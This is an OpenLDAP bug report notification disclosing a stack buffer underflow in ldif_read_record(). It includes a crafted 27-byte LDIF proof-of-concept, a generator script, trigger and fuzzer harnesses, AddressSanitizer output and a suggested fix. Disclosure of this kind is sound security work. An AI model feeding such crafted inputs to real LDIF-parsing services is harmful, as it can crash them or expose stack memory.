https://bugs.openldap.org/show_bug.cgi?id=10431
Issue ID: 10431
Summary: Stack Buffer Underflow in ldif_read_record causes
Out-of-Bounds Read
Product: OpenLDAP
Version: unspecified
Hardware: x86_64
OS: Linux
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: libraries
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: ---
# Summary
A stack buffer underflow vulnerability in OpenLDAP's `ldif_read_record()`
function allows an attacker to trigger out-of-bounds memory reads when
processing malformed LDIF data, potentially leading to information disclosure
or crashes.
## Root Cause
The vulnerability exists in `libraries/libldap/ldif.c` at line 803. When
`fgets()` returns NULL and sets `len = 0`, the loop increment expression
`last_ch = line[len-1]` accesses `line[-1]`, causing a stack buffer underflow.
### Vulnerable Code (ldif.c:799-803)
```c
int
ldif_read_record(
LDIFFP *lfp,
unsigned long *lno,
char **bufp,
int *buflenp )
{
char line[LDIF_MAXLINE], *nbufp; // line buffer starts at offset 32
ber_len_t lcur = 0, len;
int last_ch = '\n', found_entry = 0, stop, top_comment = 0;
for ( stop = 0; !stop; last_ch = line[len-1] ) { // BUG: when len=0,
accesses line[-1]
// ...
if ( fgets( line, sizeof( line ), lfp->fp ) == NULL ) {
// ...
stop = 1;
len = 0; // len is set to 0 here
}
// ...
}
// At loop increment: line[len-1] = line[-1] = UNDERFLOW!
}
```
## PoC
### Trigger file
A crafted LDIF file (`poc`, 27 bytes) that triggers the underflow:
```
hexdump -C poc:
00000000 00 00 00 00 01 00 00 00 64 74 65 21 73 74 2c 64 |........dte!st,d|
00000010 63 3d ff 65 78 64 63 73 74 77 6f |c=.exdcstwo|
```
### How to generate poc
```python
# generate_poc.py
data = bytes([
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x64, 0x74, 0x65, 0x21, 0x73, 0x74, 0x2c, 0x64,
0x63, 0x3d, 0xff, 0x65, 0x78, 0x64, 0x63, 0x73,
0x74, 0x77, 0x6f
])
with open("poc", "wb") as f:
f.write(data)
```
---
## Trigger Method 1: Direct API Call
```c
// test_ldif.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ldap.h>
#include <ldif.h>
int main(int argc, char **argv) {
FILE *f = fopen("poc", "rb");
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
char *input = malloc(size + 1);
fread(input, 1, size, f);
input[size] = '\0';
fclose(f);
LDIFFP *fp = ldif_open_mem(input, size, "r");
if (fp) {
unsigned long lineno = 0;
char *buf = NULL;
int buflen = 0;
// This triggers the vulnerability
ldif_read_record(fp, &lineno, &buf, &buflen);
if (buf) ber_memfree(buf);
ldif_close(fp);
}
free(input);
return 0;
}
```
**Build and run:**
```bash
# Build OpenLDAP with AddressSanitizer
cd openldap
./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls
make
# Compile and run test
clang -fsanitize=address -g -I include \
-L libraries/libldap/.libs -L libraries/liblber/.libs \
test_ldif.c -o test_ldif -lldap -llber \
-Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
./test_ldif
```
**Output:**
```
==PID==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff... at
pc 0x... bp 0x... sp 0x...
READ of size 1 at 0x7fff... thread T0
#0 0x... in ldif_read_record libraries/libldap/ldif.c:803:37
Address 0x7fff... is located in stack of thread T0 at offset 31 in frame
#0 0x... in ldif_read_record libraries/libldap/ldif.c:798
This frame has 1 object(s):
[32, 4128) 'line' (line 799) <== Memory access at offset 31 underflows this
variable
SUMMARY: AddressSanitizer: stack-buffer-underflow ldif.c:803:37 in
ldif_read_record
```
---
## Trigger Method 2: Fuzzer
```c
// fuzz_ldif.c
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <ldap.h>
#include <ldif.h>
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0 || size > 65536) return 0;
char *input = (char *)malloc(size + 1);
if (!input) return 0;
memcpy(input, data, size);
input[size] = '\0';
char *mem_copy = (char *)malloc(size + 1);
if (mem_copy) {
memcpy(mem_copy, data, size);
mem_copy[size] = '\0';
LDIFFP *fp = ldif_open_mem(mem_copy, size, "r");
if (fp) {
unsigned long lineno = 0;
char *buf = NULL;
int buflen = 0;
int count = 0;
while (count < 100) {
int rc = ldif_read_record(fp, &lineno, &buf, &buflen);
if (rc <= 0) break;
count++;
}
if (buf) ber_memfree(buf);
ldif_close(fp);
}
free(mem_copy);
}
free(input);
return 0;
}
```
**Build and run:**
```bash
clang -fsanitize=fuzzer,address -g -I include \
-L libraries/libldap/.libs -L libraries/liblber/.libs \
fuzz_ldif.c -o fuzz_ldif -lldap -llber \
-Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
mkdir corpus && cp poc corpus/
./fuzz_ldif corpus/
```
---
## Impact
| Aspect | Details |
|--------|---------|
| **Type** | Out-of-Bounds Read / Information Disclosure |
| **Severity** | High |
| **Attack Vector** | Malicious LDIF file |
| **Affected Components** | `ldif_read_record()`, libldap |
| **Affected Applications** | Any application using libldap to parse LDIF
(slapadd, ldapmodify, custom apps) |
| **CWE** | CWE-124 (Buffer Underwrite / Buffer Underflow) |
---
## Suggested Fix
Add a check to ensure `len > 0` before accessing `line[len-1]`:
```c
for ( stop = 0; !stop; ) {
// ... existing code ...
// At end of loop body, before continuing:
if (len > 0) {
last_ch = line[len-1];
}
// Or move len=0 case handling before the loop increment
}
```
Alternative fix - initialize `len` to a safe value and guard the access:
```c
for ( stop = 0; !stop; last_ch = (len > 0) ? line[len-1] : '\n' ) {
```
--
You are receiving this mail because:
You are on the CC list for the issue.